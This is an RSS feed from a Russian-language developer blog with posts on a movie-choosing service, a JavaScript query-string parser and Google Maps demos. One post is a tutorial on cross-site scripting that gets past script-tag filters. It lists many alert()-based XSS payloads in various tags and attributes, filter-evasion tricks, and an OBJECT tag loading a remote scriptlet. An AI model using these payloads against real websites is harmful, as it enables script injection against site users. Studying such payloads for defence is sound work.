<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Creotiv lives here &#187; javascript</title>
	<atom:link href="http://creotiv.in.ua/tags/javascript/feed/" rel="self" type="application/rss+xml" />
	<link>http://creotiv.in.ua</link>
	<description>Блог Андрея Никишаева об IT, менеджменте, SEO и фотографии</description>
	<lastBuildDate>Thu, 26 Apr 2012 13:23:05 +0000</lastBuildDate>
	<language>ru</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.2.1</generator>
		<item>
		<title>What to watch &#8211; service that helps in choosing movies</title>
		<link>http://creotiv.in.ua/%d0%be%d1%81%d1%82%d0%b0%d0%bb%d1%8c%d0%bd%d0%be%d0%b5/what-to-watch-service-that-helps-in-choosing-movies/</link>
		<comments>http://creotiv.in.ua/%d0%be%d1%81%d1%82%d0%b0%d0%bb%d1%8c%d0%bd%d0%be%d0%b5/what-to-watch-service-that-helps-in-choosing-movies/#comments</comments>
		<pubDate>Tue, 03 Jan 2012 10:00:59 +0000</pubDate>
		<dc:creator>Андрей Никишаев</dc:creator>
				<category><![CDATA[Веб-портфолио]]></category>
		<category><![CDATA[Дизайн и верстка]]></category>
		<category><![CDATA[Остальное]]></category>
		<category><![CDATA[Программирование]]></category>
		<category><![CDATA[css]]></category>
		<category><![CDATA[html]]></category>
		<category><![CDATA[imdb]]></category>
		<category><![CDATA[javascript]]></category>
		<category><![CDATA[movies]]></category>

		<guid isPermaLink="false">http://creotiv.in.ua/?p=2005</guid>
		<description><![CDATA[I think many people often ask themselves with the question "What to Watch". There are many movies and some of them you already watched and some not, so to choose movie that you want to watch can be really hard and take much time.

I was one of this people, and i'm sick of this, so i created service that helps you to choose right movie fester then you can imagine. Checked it on myself and must say it can really save much time.]]></description>
			<content:encoded><![CDATA[<p style="float:right; margin:0 0 10px 15px; width:240px;">
		<img src="http://creotiv.in.ua/wp-content/uploads/2012/03/Screenshot.jpg" width="240" />
		</p><p>I think many people often ask themselves with the question &#8220;What to Watch&#8221;. There are many movies and some of them you already watched and some not, so to choose movie that you want to watch can be really hard and take much time.</p>
<p>I was one of this people, and i&#8217;m sick of this, so i created service that helps you to choose right movie faster then you can imagine. Checked it on myself and must say it can really save much time.</p>
<p>So check it now:  <a title="What to Watch? - Service that helps in choosing movies." href="http://creotiv.in.ua/imdb/" target="_blank">What to Watch?</a></p>
<p><span id="more-2005"></span></p>
<p>Я думаю, многие люди часто задают себе вопрос &#8221;Что посмотреть вечером&#8221;. Есть много фильмов и некоторые из них вы уже видели, а некоторые нет, так что выбрать фильм  может быть достаточно трудно и займет немало времени.</p>
<p>Я был одним из этих людей, и я устал от того что порой тратил пару часов на выбор фильма, так что я создал сервис, который поможет выбрать фильм быстрее, чем вы можете себе представить. Проверено на себе и должен сказать, это действительно экономит много время и нервы.</p>
<p><a title="What to Watch? - Service that helps in choosing movies." href="http://creotiv.in.ua/imdb/" target="_blank">What to Watch?</a></p>
<p><a title="What to Watch? - Service that helps in choosing movies." href="http://creotiv.in.ua/imdb/" target="_blank"><img class="aligncenter size-full wp-image-2026" title="Screenshot" src="http://creotiv.in.ua/wp-content/uploads/2012/01/Screenshot.jpg" alt="" width="720" height="518" /><br />
</a></p>
]]></content:encoded>
			<wfw:commentRss>http://creotiv.in.ua/%d0%be%d1%81%d1%82%d0%b0%d0%bb%d1%8c%d0%bd%d0%be%d0%b5/what-to-watch-service-that-helps-in-choosing-movies/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Parse GET params with JavaScript as Object</title>
		<link>http://creotiv.in.ua/%d0%bf%d1%80%d0%be%d0%b3%d1%80%d0%b0%d0%bc%d0%bc%d0%b8%d1%80%d0%be%d0%b2%d0%b0%d0%bd%d0%b8%d0%b5/parse-get-params-with-javascript-as-object/</link>
		<comments>http://creotiv.in.ua/%d0%bf%d1%80%d0%be%d0%b3%d1%80%d0%b0%d0%bc%d0%bc%d0%b8%d1%80%d0%be%d0%b2%d0%b0%d0%bd%d0%b8%d0%b5/parse-get-params-with-javascript-as-object/#comments</comments>
		<pubDate>Fri, 10 Jun 2011 15:23:08 +0000</pubDate>
		<dc:creator>Андрей Никишаев</dc:creator>
				<category><![CDATA[Программирование]]></category>
		<category><![CDATA[GET]]></category>
		<category><![CDATA[javascript]]></category>
		<category><![CDATA[params]]></category>

		<guid isPermaLink="false">http://creotiv.in.ua/?p=1933</guid>
		<description><![CDATA[Usage: var get_params = $_GET(location.href); function $_GET&#40;s&#41;&#123; a = s.match&#40;/[^&#38;?=]*=[^&#38;?=]*/g&#41;; r = &#123;&#125;; for &#40;i=0; i&#60;a.length; i++&#41; &#123; r&#91;a&#91;i&#93;.match&#40;/[^&#38;?=]*/&#41;&#91;0&#93;&#93; = a&#91;i&#93;.match&#40;/=([^&#38;?]*)/&#41;&#91;0&#93;.replace&#40;'=', ''&#41;; &#125; return&#40;r&#41;; &#125;]]></description>
			<content:encoded><![CDATA[<p>Usage: var get_params = $_GET(location.href);</p>

<div class="wp_syntax"><div class="code"><pre class="javascript" style="font-family:monospace;"><span style="color: #003366; font-weight: bold;">function</span> $_GET<span style="color: #009900;">&#40;</span>s<span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span>
  a <span style="color: #339933;">=</span> s.<span style="color: #660066;">match</span><span style="color: #009900;">&#40;</span><span style="color: #009966; font-style: italic;">/[^&amp;?=]*=[^&amp;?=]*/g</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
  r <span style="color: #339933;">=</span> <span style="color: #009900;">&#123;</span><span style="color: #009900;">&#125;</span><span style="color: #339933;">;</span>
  <span style="color: #000066; font-weight: bold;">for</span> <span style="color: #009900;">&#40;</span>i<span style="color: #339933;">=</span><span style="color: #CC0000;">0</span><span style="color: #339933;">;</span> i<span style="color: #339933;">&lt;</span>a.<span style="color: #660066;">length</span><span style="color: #339933;">;</span> i<span style="color: #339933;">++</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
  	r<span style="color: #009900;">&#91;</span>a<span style="color: #009900;">&#91;</span>i<span style="color: #009900;">&#93;</span>.<span style="color: #660066;">match</span><span style="color: #009900;">&#40;</span><span style="color: #009966; font-style: italic;">/[^&amp;?=]*/</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#91;</span><span style="color: #CC0000;">0</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">=</span> a<span style="color: #009900;">&#91;</span>i<span style="color: #009900;">&#93;</span>.<span style="color: #660066;">match</span><span style="color: #009900;">&#40;</span><span style="color: #009966; font-style: italic;">/=([^&amp;?]*)/</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#91;</span><span style="color: #CC0000;">0</span><span style="color: #009900;">&#93;</span>.<span style="color: #660066;">replace</span><span style="color: #009900;">&#40;</span><span style="color: #3366CC;">'='</span><span style="color: #339933;">,</span> <span style="color: #3366CC;">''</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
  <span style="color: #009900;">&#125;</span>
  <span style="color: #000066; font-weight: bold;">return</span><span style="color: #009900;">&#40;</span>r<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #009900;">&#125;</span></pre></div></div>

]]></content:encoded>
			<wfw:commentRss>http://creotiv.in.ua/%d0%bf%d1%80%d0%be%d0%b3%d1%80%d0%b0%d0%bc%d0%bc%d0%b8%d1%80%d0%be%d0%b2%d0%b0%d0%bd%d0%b8%d0%b5/parse-get-params-with-javascript-as-object/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>XSS когда &lt;script&gt; фильтруется</title>
		<link>http://creotiv.in.ua/%d0%b1%d0%b5%d0%b7%d0%be%d0%bf%d0%b0%d1%81%d0%bd%d0%be%d1%81%d1%82%d1%8c/xss-%d0%ba%d0%be%d0%b3%d0%b4%d0%b0-%d1%84%d0%b8%d0%bb%d1%8c%d1%82%d1%80%d1%83%d0%b5%d1%82%d1%81%d1%8f/</link>
		<comments>http://creotiv.in.ua/%d0%b1%d0%b5%d0%b7%d0%be%d0%bf%d0%b0%d1%81%d0%bd%d0%be%d1%81%d1%82%d1%8c/xss-%d0%ba%d0%be%d0%b3%d0%b4%d0%b0-%d1%84%d0%b8%d0%bb%d1%8c%d1%82%d1%80%d1%83%d0%b5%d1%82%d1%81%d1%8f/#comments</comments>
		<pubDate>Thu, 06 Jan 2011 10:31:07 +0000</pubDate>
		<dc:creator>Андрей Никишаев</dc:creator>
				<category><![CDATA[Безопасность]]></category>
		<category><![CDATA[filter]]></category>
		<category><![CDATA[javascript]]></category>
		<category><![CDATA[script]]></category>
		<category><![CDATA[xss]]></category>

		<guid isPermaLink="false">http://creotiv.in.ua/?p=1745</guid>
		<description><![CDATA[Как Вы, наверное, уже поняли, XSS используется не только для вывода сообщений. В основном при XSS-атаке используется JavaScript. Большинство начинающих программистов очень боятся тега &#60;script&#62; и поэтому жёстко его фильтруют. Но кто сказал, что XSS можно провести только через тег &#60;script&#62;? Даже если он фильтруется, есть ещё целое море тегов, через которые можно провести XSS. [...]]]></description>
			<content:encoded><![CDATA[<p>Как Вы, наверное, уже поняли, XSS используется не только для вывода сообщений. В основном при XSS-атаке используется JavaScript. Большинство начинающих программистов очень боятся тега &lt;script&gt; и поэтому жёстко его фильтруют.<br />
Но кто сказал, что XSS можно провести только через тег &lt;script&gt;? Даже если он фильтруется, есть ещё целое море тегов, через которые можно провести XSS.</p>
<p><span id="more-1745"></span> Вот пример , который выводит сообщение “Я здесь был”:</p>
<pre>alert(‘Я здесь был’)</pre>
<p>Сейчас мы будем рассматривать только этот вариант (вывод сообщения), просто для лёгкости понимания. Итак, начнём.</p>
<p>Все теги, в которых проводятся XSS, делятся на 2 большие группы<br />
1.	Теги, которые работают только с браузером Internet Explorer. (то есть “правильно” обрабатываются только им).<br />
2.	Теги, которые нормально работают с остальными браузерами.</p>
<p>Для начала рассмотрим теги, которые правильно обрабатываются IE (т.к. на данный момент он самый популярный).</p>
<p>1.	<strong>&lt;TABLE&gt;</strong>. Данный тег используется для создания таблиц. У этого тега есть свойство BACKGROUND, отвечающее за фон таблицы. Опасность этого тега в том, что за место фона можно ввести код на JavaScript следующим образом:</p>
<pre>&lt;TABLE BACKGROUND="javascript:alert('Я здесь был')"&gt;</pre>
<p>2.	<strong>&lt;DIV&gt;</strong>. Данный тег служит контейнером для внутреннего текста. К тексту, который находится внутри тегов &lt;div&gt;&lt;/div&gt;, может быть применён определённый стиль (CSS). Вот пример использования данного тега для XSS атаки:</p>
<pre>&lt;DIV STYLE="background-image: url(javascript:alert('Я здесь был'))"&gt;</pre>
<p>Как видите, здесь мы используем вставку кода в параметр STYLE. Но есть и ещё один вариант использования данного тега. Не с помощью функции url(), а через функцию expression():</p>
<pre>&lt;DIV STYLE="width: expression(alert('Я здесь был '));"&gt;</pre>
<p>В данном случае тоже используется параметр STYLE.</p>
<p>3.	<strong>&lt;STYLE&gt;</strong>. Данный тег задает правила оформления и форматирования элементов, находящихся внутри тегов &lt;STYLE&gt;&lt;/STYLE&gt;. Вот 2 варианта использования XSS:</p>
<pre>&lt;STYLE&gt;.XSS{background-image:url("javascript:alert('Я здесь был ')");}&lt;/STYLE&gt;&lt;A&gt;&lt;/A&gt;</pre>
<p>Здесь происходит следующее действие – сначала объявляется класс XSS(в нём расположен XSS- код), а затем он вызывается с помощью</p>
<pre>&lt;A&gt;&lt;/A&gt;</pre>
<p>Второй вариант:</p>
<pre>&lt;STYLE&gt; type="text/css"&gt;BODY{background:url("javascript:alert(‘Я здесь был’)")} &lt;/STYLE&gt;</pre>
<p>В этом варианте наш XSS-код указывается как фоновое изображение странички.</p>
<p>4.	<strong>&lt;BGSOUND&gt;</strong>. Данный тег используется для указания фонового звука странички. Но за место звукового файла можно указать и код JavaScript</p>
<pre>&lt;BGSOUND SRC="javascript:alert(‘Я здесь был’);"&gt;</pre>
<p>5.	<strong>&lt;IMG&gt;</strong>. Этот тег используется для вставки изображений на страничку. 2 свойства этого тега обрабатывается только Internet Explorer’ом. Это свойства <span style="text-decoration: underline;">DYNSRC</span> и <span style="text-decoration: underline;">LOWSRC</span>. В их значении может быть указан код скрипта.</p>
<pre>&lt;IMG DYNSRC="javascript:alert(‘Я здесь был’)"&gt;
&lt;IMG LOWSRC="javascript:alert(‘Я здесь был’)"&gt;</pre>
<p>Таким же образом можно указать код в свойстве SRC. Это свойство обрабатывается всеми браузерами. Про него будет рассказано ниже.</p>
<p>6.	<strong>&lt;OBJECT&gt;</strong>. Данный тег внедряет определённый объект в html-страницу. Лично я ни в одном учебнике не видел какого-либо материала о внедрение удалённых объектов, только тех, которые находятся уже в коде странички. Но вставка удалённого JavaScript кода возможна следующим способом:</p>
<pre>&lt;OBJECT TYPE="text/x-scriptlet" DATA="http://www.site.com/test.html"&gt;   &lt;/OBJECT&gt;</pre>
<p>Тут мы указали url странички на которой может находиться опасный код, к тому же этот тег может использоваться для заражения множества клиентов. Не будут же взломщики вставлять в своё сообщение код Трояна на JavaScript. Им проще будет поставить на него ссылку, и разместить код Трояна на другой странице. При загрузке страницы, код трояна будет загружаться с другого сайта. Это облегчает задачу когда через XSS пытаются заразить пользователей нескольких сайтов.</p>
<p>Давайте теперь рассмотрим теги которые обрабатываются всеми браузерами.<br />
1.	<strong>&lt;META&gt;</strong>. META-теги чаще всего используются для индексирования страницы поисковиками, но нам нужно не это. У META-тегов есть свойство refresh, где в свойстве CONTENT можно указать произвольный код:</p>
<pre>&lt;META HTTP-EQUIV="refresh" CONTENT="0;url=javascript:alert('XSS');"&gt;</pre>
<p>2.	<strong>&lt;BODY&gt;</strong>. Всем известный тег. У него есть свойство OnLoad, которое выполняется при загрузке. В это свойство можно вставить код на JavaScript следующим образом:</p>
<pre>&lt;BODY ONLOAD=alert('XSS')&gt;</pre>
<p>Код будет срабатывать при каждой загрузке страницы. Чаще всего люди думают что тег &lt;BODY&gt; может встречаться в документе только один раз. Это не верное мнение. Вот пример нормальной работы XSS:</p>
<pre>&lt;html&gt;
&lt;head&gt;
&lt;/head&gt;
&lt;body&gt;
&lt;body OnLoad=alert('XSS')&gt;
 &lt;/body&gt;
&lt;/html&gt;</pre>
<p>Следовательно, запись <em>&lt;BODY ONLOAD=alert(&#8216;XSS&#8217;)&gt;</em> может быть вставлена в любом участке станицы. И ещё один вариант применения:</p>
<pre>&lt;BODY BACKGROUND="javascript:alert('XSS')" &gt;</pre>
<p>3.	<strong>&lt;IMG&gt;</strong>. О данном теге было рассказано выше, но сейчас я хочу описать некоторые способы обхода фильтрации, т.к. иногда этот тег разрешён, но фильтруется записи типа “<em>javascript</em>”. Для проведения XSS может использоваться свойство SRC:</p>
<pre>&lt;IMG SRC=”javascript:alert(‘XSS’)”&gt;</pre>
<p>Но что делать, если имеется фильтрация ? Если фильтрация идёт по признаку “javascript:” , то можно попробовать обойти её следующим способом:</p>
<pre>&lt;IMG SRC=”JAVAScRiPt:alert('XSS')”&gt;</pre>
<p>Вот ещё несколько вариантов</p>
<pre>&lt;IMG SRC=javascript:alert('XSS')&gt;</pre>
<p>(вариант без двойных ковычек)</p>
<pre>&lt;IMG SRC=javascript:alert("XSS")&gt;</pre>
<p>(вариант вообще без каких-либо кавычек)</p>
<pre>&lt;IMG SRC="   javascript:alert('XSS');"&gt;</pre>
<p>(если фильтрация идёт по элементу ”javascript, данный вариант работает и без кавычек)</p>
<p>Так же можно использовать <em>VBScript</em>:</p>
<pre>&lt;IMG SRC='vbscript:msgbox("Я здесь был")'&gt;</pre>
<p>4.	<strong>&lt;STYLE&gt;</strong>. О данном теге тоже говорилось ниже, но только для IE.<br />
Вот вариант который работает во всех браузерах:</p>
<pre>&lt;STYLE TYPE="text/javascript"&gt;alert('XSS');&lt;/STYLE&gt;</pre>
<p>И на последок несколько причин неработоспособности XSS:<br />
1.	XSS с тегами &lt;IMG&gt; не работают в браузере FireFox<br />
2.	У клиента JavaScript может блокироваться брандмауэром или браузером(очень редко).<br />
3.	У клиента может блокироваться VBScript.<br />
4.	У клиента могу блокироваться внешние объекты (помешает загрузке скриптов с другого сайта).</p>
<p>Более полный список можно найти сдесь: <a href="http://ha.ckers.org/xss.html">http://ha.ckers.org/xss.html</a></p>
]]></content:encoded>
			<wfw:commentRss>http://creotiv.in.ua/%d0%b1%d0%b5%d0%b7%d0%be%d0%bf%d0%b0%d1%81%d0%bd%d0%be%d1%81%d1%82%d1%8c/xss-%d0%ba%d0%be%d0%b3%d0%b4%d0%b0-%d1%84%d0%b8%d0%bb%d1%8c%d1%82%d1%80%d1%83%d0%b5%d1%82%d1%81%d1%8f/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Пример Google Maps API Часть 2</title>
		<link>http://creotiv.in.ua/%d0%bf%d1%80%d0%be%d0%b3%d1%80%d0%b0%d0%bc%d0%bc%d0%b8%d1%80%d0%be%d0%b2%d0%b0%d0%bd%d0%b8%d0%b5/%d0%bf%d1%80%d0%b8%d0%bc%d0%b5%d1%80-google-maps-api-%d1%87%d0%b0%d1%81%d1%82%d1%8c-2/</link>
		<comments>http://creotiv.in.ua/%d0%bf%d1%80%d0%be%d0%b3%d1%80%d0%b0%d0%bc%d0%bc%d0%b8%d1%80%d0%be%d0%b2%d0%b0%d0%bd%d0%b8%d0%b5/%d0%bf%d1%80%d0%b8%d0%bc%d0%b5%d1%80-google-maps-api-%d1%87%d0%b0%d1%81%d1%82%d1%8c-2/#comments</comments>
		<pubDate>Thu, 24 Sep 2009 16:13:12 +0000</pubDate>
		<dc:creator>Андрей Никишаев</dc:creator>
				<category><![CDATA[Дизайн и верстка]]></category>
		<category><![CDATA[Программирование]]></category>
		<category><![CDATA[api]]></category>
		<category><![CDATA[google]]></category>
		<category><![CDATA[javascript]]></category>
		<category><![CDATA[jquery]]></category>
		<category><![CDATA[map]]></category>
		<category><![CDATA[пример]]></category>

		<guid isPermaLink="false">http://creotiv.in.ua/?p=879</guid>
		<description><![CDATA[Короче немного доделал этот примерчик. Появились следующие фичи:

Добавление списка меток(возможность переключатся на метки через список)
Удаление меток(в том числе и через список)
Добавлен поиск с учетом ограничения сектора
Добавлены подсказки для поиска при множественном совпадении]]></description>
			<content:encoded><![CDATA[<p><a href="http://creotiv.in.ua/%d0%bf%d1%80%d0%b8%d0%bc%d0%b5%d1%80-google-maps-api/">Часть 1</a></p>
<p>Короче немного доделал этот примерчик. Появились следующие фичи:</p>
<ul>
<li>Добавление списка меток(возможность переключатся на метки через список)</li>
<li>Удаление меток(в том числе и через список)</li>
<li>Добавлен поиск с учетом ограничения сектора</li>
<li>Добавлены подсказки для поиска при множественном совпадении</li>
</ul>
<p>В планах сделать:</p>
<ul>
<li>Редактирование меток</li>
<li>Переделать UI(Есть небольшие глюки)</li>
<li>Добавить поиск по списку меток</li>
<li>Добавить категории для меток</li>
<li>Написать бек-энд для хранения всей инфы, включая разделение на пользователи.</li>
</ul>
<p>Сам пример смотреть <a href="http://creotiv.in.ua/google-map/">здесь</a></p>
]]></content:encoded>
			<wfw:commentRss>http://creotiv.in.ua/%d0%bf%d1%80%d0%be%d0%b3%d1%80%d0%b0%d0%bc%d0%bc%d0%b8%d1%80%d0%be%d0%b2%d0%b0%d0%bd%d0%b8%d0%b5/%d0%bf%d1%80%d0%b8%d0%bc%d0%b5%d1%80-google-maps-api-%d1%87%d0%b0%d1%81%d1%82%d1%8c-2/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Пример Google Maps API</title>
		<link>http://creotiv.in.ua/%d0%bf%d1%80%d0%be%d0%b3%d1%80%d0%b0%d0%bc%d0%bc%d0%b8%d1%80%d0%be%d0%b2%d0%b0%d0%bd%d0%b8%d0%b5/%d0%bf%d1%80%d0%b8%d0%bc%d0%b5%d1%80-google-maps-api/</link>
		<comments>http://creotiv.in.ua/%d0%bf%d1%80%d0%be%d0%b3%d1%80%d0%b0%d0%bc%d0%bc%d0%b8%d1%80%d0%be%d0%b2%d0%b0%d0%bd%d0%b8%d0%b5/%d0%bf%d1%80%d0%b8%d0%bc%d0%b5%d1%80-google-maps-api/#comments</comments>
		<pubDate>Sat, 12 Sep 2009 13:27:17 +0000</pubDate>
		<dc:creator>Андрей Никишаев</dc:creator>
				<category><![CDATA[Дизайн и верстка]]></category>
		<category><![CDATA[Программирование]]></category>
		<category><![CDATA[api]]></category>
		<category><![CDATA[google]]></category>
		<category><![CDATA[javascript]]></category>
		<category><![CDATA[map]]></category>
		<category><![CDATA[пример]]></category>

		<guid isPermaLink="false">http://creotiv.in.ua/?p=859</guid>
		<description><![CDATA[Вчера копался с Google Maps API, так как выяснил, что они наконец то добавили карту Киева(до этого юзал Mapia, но там API шо из задницы). Решил вот сделать небольшой примерчик ее использования.]]></description>
			<content:encoded><![CDATA[<p>Вчера копался с Google Maps API, так как выяснил, что они наконец то добавили карту Киева(до этого юзал Mapia, но там API шо из задницы). Решил вот сделать небольшой примерчик ее использования.</p>
<p>В примере расмотренно:</p>
<ul>
<li>Ограничение области показа карты</li>
<li>Ограничение увеличения в зависимости от типа карты</li>
<li>Настройка UI</li>
<li>Добавление собственых контролов</li>
<li>Работа с урл(парсинг координат в урл и обратно)</li>
<li>Поддержка истории</li>
<li>Работа с событиями</li>
<li>Работа с маркерами и менеджером маркеров</li>
</ul>
<p>Код выкладывать небуду по ненадобности, заходим и жмем Ctrl + U (и код ваш)</p>
<p><a href="http://creotiv.in.ua/google-map/" target="_blank">Зырим здесь</a></p>
]]></content:encoded>
			<wfw:commentRss>http://creotiv.in.ua/%d0%bf%d1%80%d0%be%d0%b3%d1%80%d0%b0%d0%bc%d0%bc%d0%b8%d1%80%d0%be%d0%b2%d0%b0%d0%bd%d0%b8%d0%b5/%d0%bf%d1%80%d0%b8%d0%bc%d0%b5%d1%80-google-maps-api/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
	</channel>
</rss>

